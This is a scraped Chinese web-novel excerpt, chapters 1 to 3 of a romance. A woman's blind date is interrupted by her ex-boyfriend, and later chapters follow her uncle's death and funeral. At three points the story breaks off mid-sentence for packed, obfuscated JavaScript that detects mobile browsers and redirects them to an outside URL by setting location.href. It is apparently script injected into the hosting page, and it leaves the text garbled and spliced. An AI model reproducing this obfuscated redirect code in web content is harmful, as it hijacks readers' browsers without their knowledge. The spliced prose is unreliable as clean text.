《偏我来时不逢春包月》 1. 第 1 章 端午节这天十分燥热,连空气都掺杂了些烧焦的味道。 这天气,难怪白娘子会变回原形,我要是蛇妖我也得变。 林晓玥站在地铁出口的扶梯上,已经体验到了扑面而来的热风,熏得林晓玥的眼睛都有些睁不开,有一种要皱缩成葡萄干的冲动。 天气预报上说今天最高气温可以达到42度,我大概能体会到小鱼干在制作过程中的感受了,林晓玥心想。 走出地铁站的那一刻,燥风加上太阳的炙烤,有那么一瞬间,林晓玥想立刻原路返回。 这个亲,不相也罢! 这不过是九九八十一难的第一难而已。 约好见面的商场距离地铁站还有几百米的距离,林晓玥双手张开举在头顶挡着太阳,步伐飞快,小腿甩出了残影。 “走快点走快点,空调就在前方等着我。拖了两年没有相亲,今天再不去,家里的太后非得把我剥皮抽筋不可。” 听说这次的相亲对象是一位牙医。 牙医好啊,从小就没少吃补牙的苦,找个牙医,后半生的牙就有保障了。 林晓玥每每想到此事,都会心疼一下自己在看牙上的巨大支出。 相亲的地点在商场里的一家咖啡厅,林晓玥没好意思一上来就让人家请客吃饭,万一没成,对方还得承担很大的沉没成本,她的良心过意不去。 嗯……其实是一顿饭的时间太长了,社恐本恐林晓玥实在是招架不住。 推开商场的门,一阵冷气袭来,沁人心脾。 或许因为是假期第一天,商场里的人格外多,林晓玥隔着重重人影找到了咖啡厅的招牌。 记得上一次相亲也是在端午假期,三年前的记忆突然潮水般涌来,林晓玥摇摇头,甩掉这些回忆,深吸一口气,恍若隔世。 咖啡厅里堂食的人倒是不多,可能是快到饭点的原因。 林晓玥扫了一眼,到处成双成对,只有一张靠窗的桌子边坐了一个人,背对着她。 看来他就是自己的相亲对象了,姐的推理能力不是盖的,林晓玥暗暗为自己的机智鼓掌,故作镇定地走了过去,轻轻说了句:“你好,我是……” 面前的人转过头来,看清来人后眼中露出几分诧异,随即浮上一丝自己都没有意识到的笑意,欲言又止。 “你怎么在这?不对,你改行了?不学中医改看牙了?” 林晓玥努力抑制着声音里的颤抖,她把这归结为愤怒,故作轻松地开玩笑道。 天杀的,相亲遇到了消失两年的前男友——贺知春。 “什么牙医?” 贺知春刚回国,今天约了同学咨询工作上的事情,听到林晓玥口中提到什么牙医,也是一头雾水,但他隐隐感觉不是什么好事,微微咬紧了牙关。 “好久不见,你最近还好吗?” 林晓玥强撑的体面微笑下一秒就要碎掉了,这时身后传来一道声音:“不好意思,刚刚在点单,我来晚了。” 转身看去,是一个穿着黑色衬衣,带着半框眼镜的斯文男人,他的袖子挽到了手肘,手里端着两杯咖啡,转而看向贺知春,那眼神就好像在说,不好意思啊,只买了两杯。 原来刚刚在排队,难怪林晓玥一进来的时候没有注意到他。 “你就是林晓玥吧?你好,我是你今天的相亲对象,我叫江远尧。” 说着那人已经将咖啡放在了桌子上,伸出了手。 林晓玥礼貌地握了上去,一瞬间如释重负,差点以为又要和贺知春相一遍亲,重蹈覆辙的事可不能干。 贺知春被晾在一旁,有些自讨没趣。 林晓玥仿佛才想起来他的存在一般:“已经没位置了,你是在旁边等着还是……换地方?” 贺知春的呼吸声有些粗重,但良好的教养没有让他立刻反击,反而是笑出了声。 他看了一眼那个戴眼镜的男人,对林晓玥留下一句祝你成功,转身离开了咖啡厅。 江远尧帮林晓玥拉开椅子,自己则在她的对面坐下。 “看起来是遇到熟人了?” 他指的是贺知春。 “嗯……”林晓玥承认道,她低着头,右手不自觉地抠着杯子上的纸托,已经翘起了一个角。 “也不算太熟,好久没见了,差点没认出来。” 他变得有些瘦了,也黑了些。 江远尧露出一副了然的表情,顺着这个话题:“这样说起来,咱们也算是好久没见呢。” 这种搭讪方式倒是新颖,刚刚被搅乱了心绪的林晓玥抬起头来,迷茫的双眼看着对面的人。 皮肤白皙,五官端正,眼睛里是隔着镜片也挡不住的神采,自己什么时候认识过这么好看的人了? 莫非真是年纪大了记性不好了? 林晓玥尴尬地无所适从,刚要解释,江远尧却笑出了声:“逗你的,你不认识我,但我们是高中校友。” 原来是这样,那还挺巧的,那他不会以前认识自己吧?林晓玥更加愧疚了。 “那我先介绍一下我自己?”江远尧看穿了她的窘迫,“昨天在微信上也没有说得很详细,我在省口腔医院上班,本地人,家里……” 林晓玥看着他侃侃而谈的样子,思绪回到了三年前的那个夏天…… ……………… 那是一个寻常的周五,林晓玥刚刚下班回到家,在厨房看着西瓜看老林炒菜,就在这时,手机响了。 “嗯?平时没人给我打电话啊。” 林晓玥心中疑惑,擦干了手走进卧室,手机在屋子里充电。 “喂,你好。” “你好,请问你是林晓玥吗?我是贺知春,白天怕耽误你工作,所以现在才给你打电话。” 哦……原来是之前老林朋友说要给自己介绍的相亲对象,声音还挺好听的。 “嗯,是我。” “是这样的,之前他们给我的你的微信号因为转发了太多次加不上了。” 好家伙,中间商还挺多。 “你这个手机号关联的微信我看也不是同一个。” “对,那个是我工作微信,你用我□□号加吧,667……” “那我是加你的□□还是微信?” “那个……都行。”林晓玥想了想,又改了口,“还是加微信吧,我现在很少用□□了。” “好的好的。” 十分客气,十分得体。 挂掉电话后,林晓玥的手机上弹出来一条好友申请,她直接点了通过,给对方改了备注:贺知春。 “还别说,头像跟我的倒是挺搭。” 贺知春的头像是一副卡通画,一个男孩儿在眺望夕阳下的城市,身边还有一只猫。 林晓玥不禁轻笑出声,又点开了自己的微信头像大图,也是一幅卡通图,是一个小女孩走向深林的背影,山野间的风扬起了她的裙摆。 看起来有些像情侣头像呢,林晓玥心想,只是这两个人心之所向好像不一样啊。 此时,手机最上端又弹出一条消息,林晓玥点开,是一个问好的猫猫头表情包。 林晓玥略作思索双手,回过去一条消息:【你好,我还不知道你的年龄呢。】 老林心大如斯,什么都没打听清楚。 【哦,我先做一下自我介绍,我叫贺知春,出生于1997年……现在就读于省中医药大学读博一,平时看看论文跟跟诊。】 【嗯……跟你比起来我好像一个文盲哦。】 林晓玥有些担心,自己的本科学历和比对方还大一岁的年纪,会和人家聊不来啊。 【没关系,两人行也必有我师,我只是在专业领域知道的多一些。】 事实证明,林晓玥多虑了。 接下来的一周里,两人每天都有话聊,从秉性经历,到吃穿喜好,都透着两个大字:默契。 林晓玥心想,第一次相亲就能遇到正常人,这是什么逆天的运气! 这天她吃完午饭,躺在宿舍的床上刷手机,看到贺知春发来的消息: 【端午你们歇几天呀?】 【三天呀。】 【行~】 【要不明天?后两天太热了。】 【行,但我这还想正式邀请你一下呢,你咋就知道我想干啥了……】 【啊,那你正式一下。】 【那我得酝酿一下。】 【行~】 【得有仪式感。】 【好。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993333|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说实话,仪式感这种东西已经渐渐淡化在林晓玥的概念里了,看到这个词的时候,她的第一反应是痛斥自己逐渐麻木的生活热情。 半个小时后,对方发来了一个链接,林晓玥轻轻点开,是一张电子请柬: 可爱的月亮小朋友: 相识虽短, 但聊天记录很长, 总在幻想第一次见到你的样子, 你的一颦一笑, 你的明眸皓齿, 无时无刻不在期待。 端午假期将近, 可否约姑娘一见? …… 天上只有一个月亮,世间只有一个你,期待与你的第一次相逢。 ——贺 【时间有些仓促,做得不太好。】 林晓玥坐在床上,将最后一句话又重复了一遍:“天上只有一个月亮,世间只有一个你……” 床帘围住的方寸空间里昏暗逼仄,林晓玥的视线有些模糊,眼睛却执拗地盯着手机屏幕。 此时的职工宿舍里只有她一个人,她放下手机闭上双眼躺着,感受着四周的寂静,耳边只有远处的中央空调传来的嗡嗡声,以及,眼泪顺着脸颊滴落在枕头上的声音,明明很轻,却贴着耳朵边被放大了很多倍。 说不出此刻心里是一种怎样的感受,自己二十多年来一直努力追求,渴望被认可的,试图向世人所证明的,就这样被别人,一个素未谋面的人读懂了。 或许我这次真的是遇到对的人了吧? 就像爱丽丝终于找到了和她同频的另一条鲸鱼。 见面这天,林晓玥十分重视,还带着些许的慌乱,最终在老妈远程的视频指导下翻出了只在表弟婚礼上穿过一次的粉色连衣裙。 “爸……你确定这身好看?” 林晓玥站在镜子前,看着身上有些过于粉嫩的衣服犹豫不决。 电话那头的老林看了一眼自己的媳妇,开口道:“听你妈的,她说好看就好看。” “行……吧……” 林晓玥自从初中以后就很少穿裙子了,她守时习惯了,到得比约定的时间要早一些,走在商场里面的时候,有些无所适从,莫名感觉大家的视线都在打量她,像是在说,你看那个人,好像小孩子在偷穿大人的衣服。 林晓玥局促地扯了扯裙角,掏出手机低下头开始打字: 【你要喝点什么吗?】 人家都请客吃饭看电影了,自己回请杯奶茶,应该不算太失礼吧? 【你到了?怪我起晚了,我来请,马上就到。】 【不急,是我来早了,我请你吧。】 【那我喝什么都行。】 既然他让我看着买……林晓玥烦着奶茶店的小程序,新出的这个联名款椰奶看起来很好喝的样子,就这个吧! 奶茶店里人来人往林晓玥坐在角落里,观察着形形色色的人,桌上的手机又亮了起来。 【找到了一个不太一般的电梯。】 【旁边的墙是不是正在装修?】 【对。】 【就是那里,上来就是。对了,你穿的什么颜色的衣服?】 【黑色。】 林晓玥盯着门口,片刻后走进来一个穿着黑色T恤的男人。 虽然之前二人已经在微信上互换过了照片,可以林晓玥的脸盲程度来说,根本认不出来,所以才多问了一嘴衣服的颜色,只是眼前的这位大哥……太魁梧了些,而且面带横肉,一看就是个不好相处的! 只见他进门后盯着手机屏幕从自己面前经过,林晓玥的手机又响了。 【你在哪里?我没看到你。】 【墙角的沙发那里,我刚刚好像看到你了。】 林晓玥发完这条消息有些后悔,想找个借口溜掉,虽然自己不是绝对的颜控,但明明对方说自己书生气,她感觉自己受到了莫大的欺骗。 内心斗争了几秒之后,本着来都来了的原则,林晓玥重新抬起了头,斗志昂扬、 去而复返的不是之前那个恶煞一般的男人,果然是一个秀气的少年,黑色的短袖衬得他肤色很白。 林晓玥长舒一口气,悬着的心终于放了下来,向他招手示意:“我在这里!” 2. 第 2 章 “不好意思我来晚了。” 眼前的人在自己同一侧的沙发上坐下,有些局促地搓着双手道歉。 “没关系没关系,是我来早了,不习惯踩点。” 林晓玥指了指他来时的方向,“刚刚有个也穿着黑衣服的人走过去,我还以为那个是你。” 她说的是刚才从自己面前经过的那个魁梧大哥。 闻言贺知春轻轻笑了一下,显然放松了许多:“我就说你怎么会看到我。” 他也朝来时的那扇门看去,眼里带着笑意:“我从那边进来的,都不是一个方向。” “哈哈好吧,怪我脸盲太严重,嗯……奶茶好像好了,我去拿,然后去吃饭。” 吃饭的地方也在商场里,这时一家具有南京特色的饭店,天花板上挂着五颜六色的彩色灯笼,宛若夜晚的秦淮河。 贺知春提前一天发来了店里的菜单,把点菜这一项艰巨的任务交给了林晓玥。 作为土生土长的北方人,林晓玥爱吃甜食这一点有些格格不入,但贺知春这一次选的菜系很合她的心意。 “怎么样?昨天交给你的任务,想好吃什么了吗?” “嗯,糖醋排骨、酱鸭、这个糕,然后再要一份美龄粥。” 林晓玥迅速在菜单上指完自己选的菜,“咱俩吃四个菜应该够吧?” 她看向贺知春,对男生的饭量一无所知。之前聊天的过程中,贺知春也没详细提过。 “你点你爱吃的就行。” 贺知春十分体贴地伸手拿过林晓玥的碗筷用开水烫过,重新放回她的面前。 “谢谢,那咱们先点这些吧,我怕吃不完会浪费。” “好。” 这是一张四方桌,贺知春没有坐在对面,而是坐到了林晓玥邻边。排骨一端上来,他率先给林晓玥夹了一块儿。 “味道好像还可以,也没有什么肥肉。” 林晓玥笑得眼睛弯弯的,她和贺知春有一个共同点,那就是都不爱吃肥肉。 “是嘛?那我也尝尝。”贺知春夹了一小块排骨放进嘴里, “其实我什么都能吃,不挑食,好养活!” “真的吗?” 林晓玥的语气里充满了质疑,是谁之前说自己不吃肥肉的。 贺知春猜到他在想什么,笑道:“不爱吃不代表不能吃,你爱吃的我都能吃,你不爱吃的我也可以不吃。” 林晓玥向来把吃作为人生的一件大事,这件事情上达成了共识,可以免去很多麻烦,此刻她的心情肉眼可见的愉悦。 “我跟你说,我从小就爱吃肉……” “以后得有个大厨房……” 两人从童年趣事聊到人生规划,不经意看了一眼手机,距离电影开场只有……不到十分钟。 “哎呀,电影要晚了!”林晓玥开口提醒道。 贺知春噌得一下站起身,拿起没喝完的奶茶就往外走。 “都是因为和你聊天太投入了。” “哎哎哎结账了吗?”林晓玥可不想吃霸王餐。 “结了结了,快走!” 两人并排站在扶梯上,身边的人还在讲着自己近期的科研成果。作为一个智性恋,林晓玥觉得这人谈论起自己擅长领域的事情时,整个人都在发光。 “怎么了?”贺知春察觉到异常。 “没事,在思考你说的小白鼠。” 林晓玥笑道,此刻如果用两个字来形容贺知春的话,大概是从容。 检票入场的时候,影厅里已经熄灯了,正在播放着公益宣传片,大荧幕上的光一闪一闪。 林晓玥有些脸盲,上楼梯时几乎把身子弯成了九十度,才能看清角落里的编号。 贺知春见状,伸出手,拉住了林晓玥的胳膊。 “跟我走。” 林晓玥就这样站直身子,任由他拉着自己,来到了对应的座位上,此时电影刚好开始。 这是一部穿越喜剧,剧情轻松又搞笑。 看到好笑的地方,林晓玥随手把胳膊架在了两人之间的扶手上。 嗯……好像不小心碰到了对方的胳膊。 林晓玥借着昏暗的灯光偷偷看向身边的贺知春,对方并未察觉,也毫不介意。 自己对于这种轻轻的身体接触也没有抵触的感觉,难道这就是传说中的生理性喜欢? 一半的心思已经不在剧情上了,影厅里的空调有些冷,身旁的人热热的。 电影结束之后,四周的灯光亮起,林晓玥状似不经意地揉了揉因为紧张而全程僵硬不敢动的胳膊。 “你怎么回去?” “坐地铁。” “我也是,那正好顺路。” 贺知春和同学合租的宿舍离商场只有两站,下车前叮嘱林晓玥到家后说一声。 林晓玥刚到楼下就给贺知春发来了消息: 【我到家啦~你下午准备做什么?】 【到家就好,我玩会儿游戏,好不容易给自己放天假。】 【行~劳逸结合才能好好学习。】 放下手机开门进屋,第一件事就是寻找空调遥控器,仿佛再晚一秒钟自己就要中暑了。 ………… 林晓玥看着窗外被烤得变形的空气,那天的天气,就像今天一样。 “对了,我有一个问题。” 她看着面前的江远尧欲言又止。 江远尧唇角微勾:“有什么问题你尽管问,跟我不用太拘束。” “那个……”林晓玥话说出口,又重新组织了一下语言,“你有没有什么爱而不得的白月光?真人或者是幻想的都可以。” 哈? 江远尧一时没有跟上她奇特的脑回路,一口咖啡差点呛到气管里,短暂失去了表情管理:“咳咳咳,白……月……光?” 林晓玥认为是自己没有解释清楚,于是又补充道:“就是说,如果你有一个念念不忘的人,即使是结婚后也放不下的那种,我觉得我们今天没有必要再接触下去了,在我心里,结婚不是一项必须完成的人生任务,而是一份对忠贞感情的见证与认可。” 江远尧不知道刚刚她望着窗外愣神的那几秒钟里都想了些什么,突然间和煦的小姑娘好像披上了浑身的刺,用平静的语气和毫无感情的眼神审视着他,不知怎的,江远尧有些心虚。 江远尧藏在镜片后躲闪的目光还是被林晓玥敏锐地捕捉到了,她露出失望的表情,叹了口气:“我就知道,结果都一样。” 江远尧预感到即将发生什么,赶忙解释道:“不不不,不是你想的那样,我可以解释。” 林晓玥已经离开椅子了,看在同是校友的份上还是重新坐了回去,示意他继续讲下去。 江远尧深吸一口气:“本来没想这么早告诉你的,但看你这架势,我要是再不坦白的话,大概就彻底没有机会了。” “如果我没有记错的话,你是五班的语文课代表吧?” 林晓玥点头:“对,所以你是?” “我是八班的物理课代表,之前在印刷室见过你,和你们班的物理课代表。” 林晓玥就读的高中,教学楼里有专门的文印室,里面有一台堪称劳模的印刷机,日复一日地吐着卷子。 林晓玥经常在晚自习前的课间,和同桌一起去“收割”各自负责的卷子,享受丰收的喜悦。 “所以你是高三那时候见到我的?” 那你当时怎么不打招呼? 林晓玥后半句话没问出口。 江远尧自顾自回答了这个问题:“当时我又胖,还戴眼镜,看上去呆呆的,没好意思上前认识你。” 林晓玥打量着面前的人,一点也看不出来他所形容的又黑又胖的样子。 “那还真是男大十八变啊。” “是啊,所以现在可以给我一个和你认识的机会吗?” 江远尧双手交握放在桌上,看向她,语气里满是真诚。 “嗯……你就因为我数卷子快,就记了我这么久?” 林晓玥觉得这个理由有些好笑又难以置信,本能地怀疑所有有目的的接近。 江远尧右手掩唇轻笑一声:“非要说的话,还有一件。” “嗯哼?” “高三那年的运动会开幕式,因为下雨推迟了半天,下午我路过操场外面去买水的时候,看到在方队里候场的你,穿着白色的班服,扎着高马尾和身边的人说笑,旁边草地上的水珠闪着光,亮晶晶的晃到了我的眼睛。” 很有诗意的一幅画面,林晓玥回忆了一下,那年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993334|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的运动会确实下了好大的一场雨,就在所有人都绝望地以为运动会要被取消的时候,雨过天晴,但她着实对面前的人没什么印象。 “不好意思啊。那我们现在,可以从朋友做起,我这个人,比较慢热。” “没关系,友谊地久天长。” 林晓玥站起身,江远尧帮她拿起背包,开车送她回家。 “可惜今天已经吃过饭了,下次我们可以一起吃点好吃的。” “嗯,谢谢,端午安康。” “端午安康。” 贺知春把玩着手机上的挂饰,挂饰顶端的文昌结上挂着一个渐变绿色的小粽子。 这是分手那天,林晓玥满怀欣喜送他的礼物,他的生日离端午节很近。 手机链已经有些旧了,金线缠绕的文昌结也已经磨掉了颜色,那阵子他的实验不顺利,林晓玥不知道该怎么帮他,于是编了这个手机链,听说是助学业的。 想到她今天居然去和别人相亲,之后他们也会像自己和她之前一样,相识、相知,贺知春的胸口就漫上一股酸楚,压抑得连呼吸都是酸的。 他闭上眼克制住这种难以言表的感觉,打开了手机,点开了置顶的那个对话框,随后一条消息是他两年前发出的,前面缀着一个大大的红色感叹号。 【对方开启了好友验证,你还不是她的好友。】 贺知春点开那个绿色的头像,按下了添加好友的按键。 两年来他一直没有勇气把人加回来,他想,她大概是被自己伤透了心,不会再原谅自己了。 【对方已经通过你的好友申请,你们可以开始聊天了。】 “这就……通过了?” 贺知春此刻却有些近乡情怯,在输入框里编辑了一段话又删除。 对面好像看着页面上一直保持的正在输入中没了耐心,直接发过来一条消息: 【?】 贺知春手忙脚乱地回过去一条: 【最近还好吗?】 他双手捧着手机,指尖微微颤抖。 【你今天不是已经问过了?好得很,劳烦挂心,管好自己。】 贺知春深呼吸一口气: 【今天的相亲……还顺利吗?】 三分钟过去了,对面没有回消息,贺知春有些紧张,刚要再说点别的什么岔开话题,林晓玥的回复来了: 【顺利。】 如鲠在喉。 他学历比我高吗?家境怎么样?会不会对你好?……他不能给你幸福的,只有我可以。 贺知春心中把这些问题想了个遍,然后鬼使神差般,发出了一条: 【不要和他相,和我相,好不好?】 【失忆了吗?我和你,已经相过了啊】 这次林晓玥回复得很快,隔着屏幕感受不到她的语气,但贺知春想,应该是嘲讽又不屑一顾的。 是啊,已经相过了,结果却不尽人意。 是啊,迟来的深情比草贱。 贺知春自知理亏,也自嘲般笑着自己。 你啊你,真是一步错,步步错,做了明知会后悔的决定,又要用余生去遗憾。 手机上又弹出一条消息,贺知春心跳停了一瞬,点开去看,不是林晓玥发来的,是今天见面的同学。 【师弟,假期过后就可以来医院报到办手续了。】 【好的,谢谢师哥。】 贺知春这次回来,就打算定居在这里了,回到自己曾经实习的医院正式入职,继续完成自己早就制定好的人生规划。 三天的假期转瞬即逝,贺知春在师兄的带领下在医院的人事处办好了一系列的入职手续,并且提交了人才补贴的申请。 “欢迎回来。” 师兄向他伸出手,“我们肝脏科有了你,一定如虎添翼。” 贺知春伸出手回握过去。 “那师兄,我是现在立刻开始上班吗?” “不急,我先带你熟悉一下,现在科室转完了,我们去住院部看看。” 穿着白大褂的师兄梁世超带着贺知春来到门诊楼后面的住院部。 刚出电梯,看到一个熟悉的身影坐在长椅上,手里端着一个小蛋糕,眼睛通红,像是刚哭过的样子。 她怎么会在这里? 3. 第 3 章 “看什么呢?”师兄顺着贺知春的目光看过去。 “哦,没什么,好像看到熟人了,也可能是我看错了。” “好吧,我们先来A区看一下,这里主要是一些……” 贺知春跟随师兄向第一个病房走去,就在这时,身后走廊尽头的房间里发出一声撕心裂肺的哀嚎:“哥!!!” 贺知春好像感知到了什么,几乎是同时向电梯间的那排长椅看去, 电梯出口处的椅子上本来坐满了人,在听到这声哭声之后,全部默契地起身拔足狂奔向那个房间,包括那个怀里抱着小蛋糕,眼睛通红的姑娘。 看着她跌跌撞撞的背影,贺知春仿佛能够感同身受她的痛苦,心脏的刺痛蔓延到四肢百骸。 那是……她的家人吗? “哦,那是一名肝癌晚期的患者,叫吴正豪,家里人照顾得很尽心。怎么,你认识?”师兄看到贺知春十分在意那些家属的反应,下意识解释了一番。 吴正豪?贺知春呼吸一滞,抓住师兄的袖子激动问道: “哪个吴正豪?他是杏花县人吗?” 师兄被他这反应弄得很糊涂,但还是老实回答:“是啊,听说还是当地小有名气的人物呢,后来调到市里来工作,那些同事都是他的下属。” 贺知春的瞳孔骤然紧缩,那是他的高中校长! 曾经辅导他参加奥赛得奖,获得自主招生资格,却分文未取的吴校长! “师兄我过去一下。” 贺知春向师兄打过招呼,径直走向走廊尽头的那个房间,逐渐变成了小跑。 房间里面挤满了泪流满面的人,各自诉说着自己对逝者的不舍与保证。 悲伤的情绪淹没了他们,溢出房间,漫到走廊里。 贺知春在门口站定,不敢再向前一步,遥遥望着那具已了无生机的身体,他已经被疾病折磨得枯槁消瘦,双目紧闭躺在那里。 林晓玥站在床尾,看着面前毫无血色的身体,脸上的泪痕已经干了。她突然觉得自己与周围的环境有些格格不入,看着其他人相互搀扶着哭泣,看着自己的妈妈哭到腿软,她有一种置身事外的旁观感,眼前的画面就像在看录像一样。 他们看起来好伤心,我似乎也应该这么伤心。 林晓玥寻找之前那种悲痛的感觉,可那种情绪好似被抽离走了一般。 “来,留下两个男的,其他家属外面回避一下。” 护士拆掉所有的器械后,门外进来两个戴着口罩的人,没有穿白大褂,他们手里提着两个黄色的大包裹。 是殡葬公司的人。 林晓玥扶着妈妈走出房间,重新回到电梯间的长椅上坐下。妈妈在身边抽泣着,林晓玥伸手在她背后轻轻安慰。 “姑姑,你坐我的车一起走吧。” 舅舅的大儿子,也就是林晓玥的表哥吴庸跟了上来,身后跟着他的未婚妻梁甜,吴正豪痛苦地撑了大半日,就是为了听她喊一声“爸”。 “晓玥也一起吧。”梁甜拉过林晓玥的手。 现在要回家里布置灵堂,正是需要人手的时候。 医院里一辆辆汽车排队开了出去,奔着同一个方向,雅苑小区。 这是一间三室两厅的房子,林晓玥他们是第二批回来的。 家里所有红色的,鲜亮的装饰品全部都被撤了下来,镜子上披上了白布,就连电视柜上一家三口的合照也被收了起来,沙发撤掉了垫子,露出了本来的皮革,墙壁上空无一物。 鱼缸里的水也因为长时间没人照看而蒸发得只剩一半。 林晓玥来到电视旁边的柜子边,上面摆着的是她从小每次来都很喜欢的一套俄罗斯套娃,最外面那层壳子已经有些掉漆了,那是个穿着红色大花袄的俄罗斯娃娃,来帮忙的人恰好走过来,看到这个娃娃,小声嘟囔了一句: “哎呦,忘了这个了。” 然后林晓玥眼睁睁地看着那人抄起那个娃娃,锁进了暂时被当作仓库的那间次卧。 自此,目之所及再没有明艳夺目的东西。 此时天已经完全黑了,屋子里的人虽然多,但还是有一种出奇的寂静,大家都在默不作声地操劳着,任何一点动静都十分明显。 陆陆续续又来了很多人。 有的人把餐厅的桌子清理干净,在墙上挂上了挽联,和早已准备好的烛台灵位。 照片上的舅舅意气风发,微微侧身对着自己笑。 那张照片是妈妈找的,她不希望自己的哥哥以一种严肃的形象出现在那里,这样意气风发的他才是鲜活的。 说起来,那照片还是林晓玥从上次回老家过年的照片里抠出来的,用着并不娴熟的技术,一点一点将背景变成寂静无垠的白色。 一切布置完毕后,林晓玥这些小辈们在主事人的指引下跪成一排,完成了一系列烧纸点香的仪式,这个以餐厅为主体的灵堂,就算是设好了。 在场的亲朋好友们一一祭拜,离得近的舅舅的同事们也纷纷赶到,表示自己的心意,林晓玥和哥哥妹妹们在旁边站成一排,鞠躬回礼。 “节哀。” 一双黑色的皮鞋出现在自己的眼前,林晓玥抬头看去,泪眼迷蒙中看到了贺知春,他回家换了纯黑色的衬衣,匆匆赶来。 两小时前,他看到了林晓玥的朋友圈: 【总觉得自己还是个小孩子…… 怎么就到了陆续和家人告别的年纪了呢…… 一个个熟悉身影在生活里消失,跑进回忆和梦里…… 在我印象里,舅舅很高大,意气风发,无所不能,总是那么从容不迫…… 从小到大每次见到他都会有收获,要么是一堆好吃的,要么是大红包,每年他生日我都要和爸妈研究送些什么稀奇吃的给见多识广的舅舅 我们拼命追赶亲人离去的步伐,还是有太多来不及和不甘心,前几天还在和你挥手告别今天再见面就成了天人永隔…… 人生太无常了,瞬息万变 人类太渺小了,意外蠢蠢欲动 “以后每年”真是个太沉重的承诺。】 林晓玥抬头看着贺知春,眼里满是遗憾和不甘,倔强地不肯在他面前流泪。 贺知春向前迈了一步,礼貌性地抱了抱她,一只手在她背后轻拍着。 林晓玥小小一只,窝在贺知春怀里,她想躲开,可他的怀抱太让人安心,只能带着鼻音说了一句:“我只是不明白,好好的一个大活人,怎么就变成一副墙上的照片和一句音容宛在了呢?” “对不起。” 贺知春轻声说道,我回来晚了。 林晓玥深吸一口气,轻轻推开了贺知春:“谢谢,不早了,回去吧。” 贺知春又看向其他家属:“各位节哀,吴老师对我有知遇之恩,我会来送他的。” 第一晚,林晓玥守到了凌晨,直到外地回来的表哥表弟们接了班,才陪妈妈一同回家短暂休息。 第二天天刚亮,林晓玥和表姐一起陪妈妈又赶去了舅舅家。 单元门两侧依次摆放着昨晚布置好的花圈,舅舅生前待人和善,体恤下属,因此除了亲人之外,还有同事好友敬上的花圈。 昨晚离开的时候没有留意,现在再去看,锦簇的纸花有些扎眼,白纸黑字的挽联随风而动,在无人的路边静谧又凄清。 狭窄的电梯里刚好站下四个人,林晓玥抬头看着显示屏里的数字逐渐跳到6,心想,真是个激吉利的数字,可是还是不够吉利。 舅舅家的大门敞开着,楼道里还有坐在小板凳上守夜的人,林晓玥不认识他,大概是舅舅的朋友吧。 老林昨晚在沙发上睡的,看样子也没怎么休息,眼袋乌青,下巴上也冒出了胡茬。 林晓玥从外套口袋里掏出了黑纱,重新戴在左臂上,走到窗边和兄弟姐妹们站成一排。 舅妈昨天不知道哭晕过去多少回,今天一整天都吧自己关在卧室里没有出来,听说明天出殡她也不会去,仿佛不亲眼看到这一幕,就可以当作一切都没有发生过。 贺知春又来了,他站在同一届的同学之中,高挑夺目。 可林晓玥无心欣赏,她又回到了那种看录像一般的状态里,看着眼前的人哭泣,鞠躬,机械地回礼,又目送他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993335|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们离开。 人人都劝我们节哀,可我偏偏不想节哀,节哀意味着遗忘,遗忘代表着背叛。 一波又一波的人来了又走,从旭日东升到日暮西沉。 “小月亮,你带姑姑早点回去吧,明早出殡再来。” 吴庸伸手摸了摸小妹的头,就像小时候一样。 太阳再次升起的时候,伴随着一声“跪!”,林晓玥站在队伍里双膝跪地,对着楼道口的方向磕了三个头。 吴庸哥哥双手捧着印有舅舅照片的灵位,上了第一辆车。 霎时间,哭声震天。 火葬场离这里有半小时的车程,一路上林晓玥靠着车窗,听着外面忽远忽近的哀乐,看着窗外的车水马龙,仿佛时间被放慢了,可下一瞬就来到了目的地,这大概是所有人人生的目的地。 本以为这里会很空旷,可到处都是人。 阴沉的天空此刻终于下起了毛毛细雨,将本就压抑沉痛的气氛衬托得更加清冷。 “一定是老天爷都舍不得你舅舅那样好的人英年早逝。” 妈妈在林晓玥耳边说道,她的嗓子已经哭哑了。 每个厅都是满的,提前预约好也要排队,他们站在院子里的长廊下等待着。 吴庸和未婚妻穿着深色的情侣装,一个手里捧着灵位,另一个怀里抱着遗像,相互依偎着。 一直到工作人员来通知大家,告别厅已经布置好了,带领大家进去。 四周都是黄色白色的菊花,最前方的电子屏上打着舅舅的名字,所有的物件都是重复利用的,只需要把逝者的遗像和灵位摆上去,就变成了属于这个人的告别仪式。 大家按照备份站好队之后,工作人员给每个人发了一支鲜花,用来放在逝者身上。 之后乐队奏起了《送别》。 “长亭外,古道边,芳草碧连天……” 从前,林晓玥只当这是一首课本里的诗歌,可此时此刻,她才意识到,何为送别,意味着你与这个人此生将不复相见。 